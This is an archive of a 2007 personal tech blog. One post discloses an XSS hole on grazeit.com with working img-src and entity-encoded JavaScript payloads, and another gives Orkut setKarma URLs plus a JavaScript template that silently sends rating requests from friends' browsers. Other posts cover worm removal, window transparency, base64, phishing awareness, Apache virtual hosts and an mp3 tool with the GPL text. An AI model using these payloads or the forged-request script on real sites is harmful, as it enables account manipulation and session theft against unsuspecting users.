Wednesday, January 24, 2007

XSS on GrazeIt.com



Recently while grazing over the net, I found this site grazeit.com. This is a site which keeps a database of good websites found on the net by netizens.

But there is an XSS hole (Cross site scripting ) on the site which allow users to redirect the page to any desired location.

Of course this hack does not work on the secure browser Mozilla Firefox. If you are not using Firefox, download for free (The link is given bottom right).

Probably you arrived at this page from grazeit.com if you are using Microsoft Internet Explorer!

So how did it work?
Grazeit.com allows <IMG tag with the src attribute.

<img src="javascript:window.location='http://digitalpbk.blogspot.com/'" /> Fixed (No longer works)
<img src="javascript:location='http://digitalpbk.blogspot.com/'" /> Fixed (No longer works)

is all we have to post to get redirected.

Level 2
So the grazeit admins have modified the filter to take care of the above 2 methods. But still the filter isn't good enough for :
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&
#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;
&#40;&#39;&#88;&#83;&#83;&#39;&#41;&gt; />
Fixed

<script src="URL" />fixed


GET Cross site Scripting holes
http://www.grazeit.com/Backpage.asp?BPID=210&FilterBy=tags&FilterTag=%3Cscript%3Ealert('hi')%3C/script%3E&FilterTagID=1325

to Grazeit.com administrators
Great work guys. But please remove this serious security vulnerability as it can be used for more than redirection. It can be used to deface, steal user sessions etc.
Thank you for making Grazeit.com.

How to remove this vulnerablilty?
To remove this vulnerablity you have to strengthen the filters.
To do this, the src tag must be stripped off unacceptable characters or these special characters must be encoded such that the URL would remain the same, but it would not be rendered by the browser as a script.


Happy surfing...

Tuesday, January 23, 2007

Increasing the karma ratings on Orkut

Trace Back
Followed from : Making more fans on Orkut

Continued ...
"http://www.orkut.com/setKarma?cat=0&val=1&gid=FR[friends id here]/[your id here]"
Eg: "http://www.orkut.com/setKarma? cat=0&val=1&gid=FRUS00000000000/US00123456789"

The above illustrates the page you have to make your friend to access to make he/she your fan.

The same can be modified to increase (can decrease also) your cool, sexy and trusty karma ratings. The cat=0 in the URL specifies the fan function.

cat=1 : stands for trusty rating.
cat=2 : stands for cool rating.
cat=3 : stands for sexy rating.

The next GET parameter val=1 has to be modified as :
val = 0: for 0 rating
val = 1: for 1
val = 2: for 2
val = 3: for full rating.

So our final URL for full trusty rating is :
"http://www.orkut.com/setKarma?cat=1&val=3&gid=FR[friends id here]/[your id here]"
Eg: "http://www.orkut.com/setKarma? cat=1&val=3&gid=FRUS00000000000/US00123456789"

for Cool rating :
"http://www.orkut.com/setKarma?cat=2&val=3&gid=FR[friends id here]/[your id here]"
Eg: "http://www.orkut.com/setKarma? cat=2&val=3&gid=FRUS00000000000/US00123456789"

for Sexy rating :
"http://www.orkut.com/setKarma?cat=3&val=3&gid=FR[friends id here]/[your id here]"
Eg: "http://www.orkut.com/setKarma? cat=3&val=3&gid=FRUS00000000000/US00123456789"

When you are giving all these three in the same page, the 3 get requests must not be sent to the server together. Leave a time delay of about 100ms between each of the GET requests.
You can accomplish this in javascript by the following this template:


function fn(index)
{
var links=new Array("Link 1 for cool/trusty/sexy/fan", "etc fill in");
var i= new Image();
i.src = links[index];
if(index != Count)
{
window.setTimeout("fn("+(index+1)+")",100);
}
else
window.location = "Somewhere"; //Redirect to a nice page.
}


Hope this works for you ....


Did it work ?
Please leave a feedback or comment about other problems you faced ...
Keep orkutting ....

Thursday, January 18, 2007

WORM_RONTOKBRO.Y versus me

This is the log of the war against the worm.

How did the enemy get it ?
It came along a couple of folders which was copied from a pen drive. It had the same folder name and looked exactly like a windows folder. In a hurry double clicked it, and the war began...

Battle 1: End Task
I immediately realized it was a virus because it opened the My Documents folder, which was unusual. Then soon I pressed Ctrl + Alt + Del to end task the program. But the battle was won by the virus, it restarted the computer ! But I got the exe name "eksplorasi.exe".

Battle 2: Regedit
In an effort to save my system, after rebooting tried to run the "regedit" registry editor where most viruses register in the

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

to start when the computer starts. But I failed in the battle again. It has disabled the registery editor.

Battle 3:Safe mode
In the next battle, I rebooted the computer in safe mode (F8 before booting in the OS choice menu and selecting Safe mode). Failed again, virus is as active in safe mode as in normal mode.

Battle 4:Rebooted into Win98
In the next battle booted into windows 98. Searched the entire windows drive for the file "eksplorasi.exe" found 1 in %Windows Directory%\. Deleted it! Next I searched for the entire windows directory for exe's that had the folder as the icon. Amazed by the number of copies it has already produced. Almost another 12-14 copies in various folders. Deleted them all .. Battle won! The enemies where shot down but the consequences remain...

Battle 5:Looked for allies from Google

Found some information.
Searched for eksplorasi.exe manual removal


Google


Battle 6: Capturing back the regedit
Capturing back the regedit was exciting. As hinted by an ally, the regedit was disabled by the following registry entry.
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\System
DisableRegistryTools = "dword:00000001"

By their advice I tried making a reg file that removed this entry. But I failed that battle too.

Battle 7: My own registry editor
Made up a quick registry editor that replaced the registry values to enable the registry again. And it was a success. Captured back the registry from the enemies.
Again from the advice of my ally, all deformations in the registry where restored to the previous state.

Download my registry enabler.

War won
Hurray the war was won by me.
Won a battle? let me know.

Information Allies Missed
+ The virus was present in the System_restore files.
+ Making reg files did not work as registry was disabled.
+ Group Policy gpedit.msc is disabled.

Monday, January 15, 2007

Firefox Browser within Browser

Browser within Browser ?



This effect is only for Mozilla Firefox. Paste
chrome://browser/content/browser.xul
into your address bar and press Enter.

What? How?
All interfaces on firefox are made on XUL's. The browser window you see is browser.xul, accessing that simply displays the browser window again as the content.


Quoted from mozilla.org

XUL is an XML grammar that provides user interface widgets like buttons, menus, toolbars, trees etc. User actions are bound to functionality using JavaScript.

To extend the browser, we modify parts of the browser UI by adding or modifying widgets. We add widgets by inserting new XUL DOM elements into the browser window, and modify them by using script and attaching event handlers.


Have fun making tabs within tabs within tabs ......

Did not work?
Did not work ? What happened ? Lemme know ...

Feel free to leave a comment ...

Saturday, January 13, 2007

Making any Window Transparent on XP

Intro
This little piece of code written in VB6 allows you to make any window transparent.
Make Firefox, Opera, Internet Explorer, Windows Media Player, Google Talk, Yahoo Messenger, Windows Explorer, basically any window, transparent on Windows XP.

*Transparent Opera

Download
+Zipped binary for Windows XP from here Transp.ZIP [5 KB]
+Source code from planet-source-code

Usage


  • Run the Program

  • Place the mouse over the title bar of the window which you want to make transparent.

  • Now leaving the mouse in the title bar, press the Ctrl button (Normally on the lower right side of the keyboard), now you can see the window name shown in the software.

  • Now press the "Set Transparent" Button

  • Adjust the Transparency Slider to the required transparency. (Dont set below 100 you will loose sight of the window)

  • Press the "Set Opaque" Button to make the window opaque again

  • To do for another window repeat the same steps.



Source

Const GWL_EXSTYLE = -20
Const WS_EX_LAYERED = &H80000
Const GWL_STYLE = (-16)
Const WS_VISIBLE = &H10000000
Const LWA_ALPHA = &H2

Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Option Explicit

Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


'@ http://digitalpbk.blogspot.com/2007/01/making-any-window-transparent-on-xp.html


Private Type POINTAPI
x As Long
y As Long
End Type

Public xhwnd As Long

Private Sub Command1_Click()
SetWindowLong xhwnd, GWL_EXSTYLE, WS_EX_LAYERED
SetLayeredWindowAttributes xhwnd, 0, Slider1.Value, LWA_ALPHA
End Sub

Private Sub Command2_Click()
SetWindowLong xhwnd, GWL_EXSTYLE, 0
End Sub


Private Sub Label2_Click()
ShellExecute Me.hwnd, "", "http://digitalpbk.blogspot.com/2007/01/making-any-window-transparent-on-xp.html?ref=EXE", "", "", 1
End Sub

Private Sub Slider1_Change()
SetLayeredWindowAttributes xhwnd, 0, Slider1.Value, LWA_ALPHA 'Change the transparency level
End Sub

Private Sub Timer1_Timer()
Dim xy As POINTAPI
Dim retStr As String * 80

If GetAsyncKeyState(vbKeyControl) Then
Call GetCursorPos&(xy)
xhwnd = WindowFromPoint(xy.x, xy.y)
Call GetWindowText(xhwnd, retStr, 100)
If xhwnd = Me.hwnd Then 'Protect self from being transparent
Label1.Caption = "Making me transparent is not good!"
xhwnd = 0
Else
Label1.Caption = retStr & " " & xy.x & " " & xy.y & " " & xhwnd
End If
End If
End Sub

Anything else?
Lemme know ...leave a comment.

Thursday, January 11, 2007

Base 64 Encoding

Introduction
Base 64 encoding is a method used in email systems. The email systems that where developed back in the time of Arpanet, where designed to support only Letters (A-Z,a-z) , Numbers (0-9) and some limited puncutation marks. So inorder to transfer files which can contain more than characters and digits (for eg,a picture.jpg file), Base 64 Encoding is used.

The Encoding
Base 64 encoding, as the name suggests, has 64 different characters to represent all the 255 characters in the ASCII code. 64 different characters implies 6 bits as the word length. (no: of bits to represent a character)(2^6=64). So the encoding method is to group the binary data in groups of 6 bits.


1000101001001001111010110101010010010011
1000101001001001111010110101010010010011

Now the grouped 6 bits words are represented by letters, digits and punctuations. A table is defined to denote the mappings of the bit pattern to a corresponding character. Here is a sample of base64 encoding:

VGhpcyBpcyBhbiBleGFtcGxlIG9mIGJhc2U2NCBlbmNvZGluZy4=

which stands for This is an example of base64 encoding.
You can find out more about this on google


Google


Google Cookie
Base64 encoding is used in more than email systems, it is used in URL encoding of binary data. Those using google mail will have seen a stream of letters on their address bar. This base64 encoding of data. Google cookie or in short Gookie also use Base64 encoding to store data. The SID is a base64 encoding.

Similarly Orkut cookie structure is as follows:

ORKUTPREF=ID=[Profile ID]:
INF=0:SET=:LNG=1:CNT=91:RM=0:USR=[Base64 of your email]:
PHS=:TS=

Have more information on this? Leave a comment...

PHP Code/Functions
PHP base64 functions are :
  $ret = base64_encode($str);
  $ret = base64_decode($str);

Friday, January 5, 2007

Protect yourselves from phishing

Phishing? Haven't heard that...

Phishing is very similar to fishing. In fishing, we put a bait and wait for the fish to catch it. In Phishing, a fraudsters acting as a genuine bank employee or web admin, sents you an email (the bait) asking for confidential and personal data, that could potentially harm you (Its not nice to see your savings balance to drop to ZERO, right?)
Fraudsters are getting smarter and equipping with techniques that almost fool you. So now its our turn to get smart and fight back.

Common methods of phishing

Most phishing scams start from fake e-mails that arise from compromised mail servers across the world, or from zombie computers called botnets. Phishing mails will be asking for confidential data like PIN numbers, Bank account id and passwords, or anything personal. There would be some links in the mail that redirects to some compromised server, which would be very similar to the legitimate site.
Another common scam is someone asking for your bank account details to help them transfer money, and you will get a fair share of it.
Or you have won a big sum of money in some lottery in some unknown place, and you have to provide the bank account details to get the money.

If you fall for these scams, most probably you will loose everything you have.

How to get smart?

Phishing is mostly successful because of ignorance from the part of customers and the thought of making easy money. So its time to get smart!
Phishing mails
+ are mass mailed, So...
+ It would not contain your name
+ It would not contain any personal info about you that was provided to the legitimate organization.
+ It would not have a valid source. If your email client can display advanced headers, please go through the headers if you suspect of a phishing scam.
+ It may contain grammatical as well as spelling mistakes.

Now even if it contains your name and free from mistakes still you cannot rule out the phishing scenario.

Take a part of the phishing message and do a Web search on it using popular search engines like google, yahoo. From the search results you can identify wether it is scam or original.
In most cases, no banks will never ask you to enter your PIN or similar sensitive data through mails.
You can also mail the legitimate organization for a confirmation on the email.

Still you think its legitimate?

There will be a link in the email where you are supposed to enter the confidential data. Before clicking take a good look at the url. Most browsers show the target url on the status bar (bottom of the page), Is it the url ?
Copy the link address and paste it to a new text file and examine it from head to tail. Do a google search for the site, if anything related to phishing comes up...
One old phishing technique was to mask the target server using the

http://username:password@www.site.com

So the fraudster would mask his url as
http://www.urbanksite.com/somevrylongtext/todistractyou@www.evilsite.com

Now this technique has depricated since most browsers warn you.
Latest browsers like Firefox 2, Opera 9 and IE 7 also report about phishing when you are about to visit a phishing site. So upgrade your browser today.

A new technique that may not be yet known is the use of mirroring character to reverse the link, so that it appears legitimate.
But in this technique to the original link appears in the status bar or copy the link location and pasting shows you the original target url.

For webmasters and server administrators

Most spams and phishing scams originate from compromised sites due to poor design.
One experience I had is with a feedback form on a site which mails the feedbacks to me. Now some spammer creatively modified the feedback text so that the mail was sent to many!. Now thats a security risk!
So we must be careful when designing such systems, what I did was to replace the @ symbols in the feedback form with "(at)". Now that has stopped the spams from getting through to others.

Another poor design comes when there is XSS (Cross Site Scripting holes) vulnerabities in your site. A fraud/hacker can manipulate the site and put fake login pages on your server. So all XSS vulnerabilities must be scanned and removed.

Related

+ Intro to XSS
+ Mirroring character
+ Protect yourselves from Phishing

Spread the word

Please spread the info to help protect yourselves and those near and dear from this peril !
Any more info to share? Leave a comment...

Thursday, January 4, 2007

Making subdomains on localhost

Intro
Developing websites on localhost may sometimes need making of sub domains. Installing and running another server for this purpose is useless, consumes more resources etc. So here is the technique to make sub domains on localhost.

You can also use this to host more than one site on localhost. i.e, you can host multiple sites situated on different folders.

PS: This is for Apache-Windows configuration. (If you have info about other Server-OS configs please let me know.)

Steps

First decide on the subdomain names...
for eg:
sub.localhost, sub2.localhost, alt.localhost , images.localhost etc..
You can also name www.name.com. (Please note that if there is a site with that name on the net, you wont be able to access that site on the internet.)

Second making these sites to point to 127.0.0.1, for this you can edit the HOSTS file on windows. See this about the HOSTS file.

Now add to HOSTS line
127.0.0.1 hostname
Egs:


127.0.0.1 sub.localhost
127.0.0.1 sub1.localhost
127.0.0.1 sub2.localhost
127.0.0.1 images.localhost
127.0.0.1 www.mysiteonmycomp.com


Next we have to assign each of these different URL's to different folders.
This is done on the apache conf file. (httpd.conf file situated in apache\conf\ directory)

Scroll all the way down the httpd.conf file until you reach about Virtual Hosts.
Add

NameVirtualHost *:80 #(This line was commented before)

<VirtualHost *:80>
ServerName subdomain name.localhost OR yoursite.com
DocumentRoot Path to the server root, See examples.
DirectoryIndex index.php index.html index.html index.htm index.shtml
</VirtualHost>

Egs:

<VirtualHost *:80>
ServerName sub.localhost
DocumentRoot "C:/public_html/sub"
DirectoryIndex index.php index.html index.html index.htm index.shtml
</VirtualHost>

<VirtualHost *:80>
ServerName images.localhost
DocumentRoot "C:/public_html/images"
DirectoryIndex index.php index.html index.html index.htm index.shtml
</VirtualHost>

<VirtualHost *:80>
ServerName site.com
DocumentRoot "C:/public_html/site"
DirectoryIndex index.php index.html index.html index.htm index.shtml
</VirtualHost>


Test the configurations (using apache -t)
All done!
Hope it worked for you ...
Feel free to leave a comment....

Tuesday, January 2, 2007

Extracting embedded Album art in mp3

Update: The download file url no longer works. There should be a better way out there. This post is outdated

About
This command line tool extracts embedded album art pictures from mp3's. It extracts only album art that is within the mp3 file. External album arts need not be extracted as they are plain files and can be seen in respective folders, by unchecking the "Hide protected operating system files" in view Tab in Folder Options in Windows XP.
(Tools > Folder Options > View Tab)

Download
Download as zip (38.3 KB)
(I Assert that it is not a virus, still scared? wait for the C++ source code)

Manual
This command line application extracts embedded album art that is stored on mp3's.
To run command line apps, RUN cmd OR take the command prompt, move to the directory where the exe is located and ...
Usage :


getid3v2 filename

Example :

D:\ID3V2>getid3pics songs\tere.mp3
Searching for Album art on songs\tere.mp3 ...
Embedded Album art found
Extracting ...
Enter a filename for Art[1] (No need extension): 1

Image Type : jpg
Extracted to 1.jpg

Embedded Album art found
Extracting ...
Enter a filename for Art[2] (No need extension): 2

Image Type : jpeg
Extracted to 2.jpeg

Done

D:\ID3V2>


Source code will be made available soon ... have to do some tidying up ...
Meanwhile any problems? jst leave a comment ...

License
GPL License:

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

Preamble
The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and modification follow.

TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.

1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.

You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:


a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.

In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.

3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:

a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.

4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.

7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.

This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.

8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.

9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.

10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.


END OF TERMS AND CONDITIONS